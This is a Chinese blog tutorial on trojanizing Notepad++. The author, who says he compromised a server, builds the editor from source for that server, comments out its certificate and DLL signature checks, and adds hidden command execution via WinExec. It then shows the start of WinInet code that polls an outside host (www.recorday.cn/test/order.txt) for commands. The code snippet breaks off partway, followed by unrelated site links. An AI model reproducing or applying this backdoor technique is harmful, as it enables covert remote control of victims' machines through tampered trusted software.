0x01 前言
看了Micropoor大牛分享的一系列教程,受益良多。PS:下文将Micropoor写做Mp
笔者对其中几篇谈及后门的文章颇有兴趣,作者在他的文章中给出了一些大体思路但未谈及实现细节,于是笔者按照文中提供的思路动手实践了一下。
0x02 改造 Notepad之旅
这里引用一个概念:
人为化后门:一般指被动后门,由人为引起触发导致激活,或者传播
要做到高度化定制,足够贴合实际目标,我们可能会需要它。
正好之前秒了一台独立服务器,登陆进去发现服务器主人预先安装了Notepad++,这简直是最佳实践…
服务器有了,缺个后门,不多说我们自己来动手:根据Mp的文章我们去官方git仓库下载其开源的源代码本地编译。
仓库地址:https://github.com/notepad-plus-plus/notepad-plus-plus
完整目录如下:
其中
PowerEditor是Notepad++的项目文件
scintilla是Notepad++引用的代码编辑库。
我们编译的顺序是先使用VS2017CMD编译scintilla项目,得到SciLexer.dll文件,将其复制到PowerEditor项目内作为动态链接库,再用VS2017编译PowerEditor这个项目。
具体编译过程:找到VS目录,在vs2017\Common7\Tools\VsDevCmd.bat文件夹下找到 VS2017专用CMD ,打开它。
切换目录到Notepad++的源代码目录下,进入scintilla\win32\目录。(PS:windows下的CD跨磁盘 需要输入/d )。
输入 nmake NOBOOST=1 DEBUG=1 -f scintilla.mak 回车编译,等待即可。
将生成的SciLexer.dll文件从scintilla\bin\目录中复制到PowerEditor文件的同一目录下。如果是Release 就放到PowerEditor目录,如果是Debug就放到PowerEditor\visual.net 目录
另外如果不想动手编译,可以直接在安装好的Notepad++ 根目录找到此dll文件
这里指出几个编译时掉入的坑:
Mp 在他的文章中用的 VS2017 编译,却说要打开notepadPlus.vs2013.vcxproj 这个项目文件。
我猜测这可能是笔误,实际上打开这个项目文件编译会遇到符号问题。
对此我专门用半自创英语去官方git 仓库提了issue,大家遇到问题也可以去各种官方库下面提问,一般都会有热心的开源社区人员进行解答
红线部分可能引起不适。
得到回复后才明白用VS2017编译的话是要选择notepadPlus.vcxproj这个文件,而不是2013那个文件。
在项目配置上,点击项目 -> Notepad++属性 -> 配置属性 -> C/C++ -> 常规,将警告视为错误置为否,并选择当前编译器适配的平台,选择 Unicode Debug或者Release + X86 架构。
有时候编译完成会报错,弹框提示签名证书会验证失败,我在这里将报错处理的语句统统注释掉了。
如果遇到下面这种报错:
解决办法:
这是因为他验证文件数字签名出问题了,也许是我们自己编译的dll文件存在问题。
具体我们可以找到Common.cpp,在此文件内搜索isCertificateValidated定位到验证函数:
简单看了下它的处理异常的代码,写的很详细,有很多种错误类型。
不同编译环境可能产生不同的错误,在此我给出一种通用的解决办法:搜索它的报错关键字,哪里报错注释哪里,简单有效。
定位到catch内部就尝试注释掉它内部的验证逻辑:
Authenticodecheck failed 错误解决:
DLLsignature verification failed 错误解决:
顺利通过编译后,就可以考虑添加后门功能了
我开始思考下面的问题:
一个后门之所以称之为后门,必然是有里应外合的功能的
而在C++Win32编程中,基础库执行系统命令使用system()函数可以完成命令,但是会弹出黑色命令窗口。
为了隐蔽性,在查阅了官方文档后,找到了WinExec(),使用这个函数来执行系统命令则不会弹黑色命令窗口。
system("calc");//这种方法会弹出黑框
WinExec("指令",SW_NORMAL); //这种方法不会弹黑色命令窗口
接下来仔细想想,弹个计算器也没啥用,直接增加账户又太明显,于是我又去参考网络通信基础模块,扩展指定接收指令执行的功能。
这里用了WinInetAPI 实现HTTP 通信,相比于libcurl等第三方库使用起来更方便快捷。
下面给出实例代码以及相关头文件引用:
#include
#include
#include
#pragmacomment(lib,"WinInet.lib")
#definePORT 0x50 // 端口号80
#defineURL "www.recorday.cn" // 绝对域名
#definePAGE "/test/order.txt"//相对指令地址
char_HTTP_ARAC[] =
"Accept-Language:zh-cn\r\n"\
"Content-Type:application/x-www-form-urlencoded\r\n\r\n";
char_HTTP_File[1024] = { 0 };
HINTERNETInte = InternetOpenA("Mozilla/4.0 (compatible; MSIE 9.0; WindowsNT 6.1)", 1, "", "", 0);
//初始化Wininet并创建一个HTTP连接
if(0 == Inte) {
//cout
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录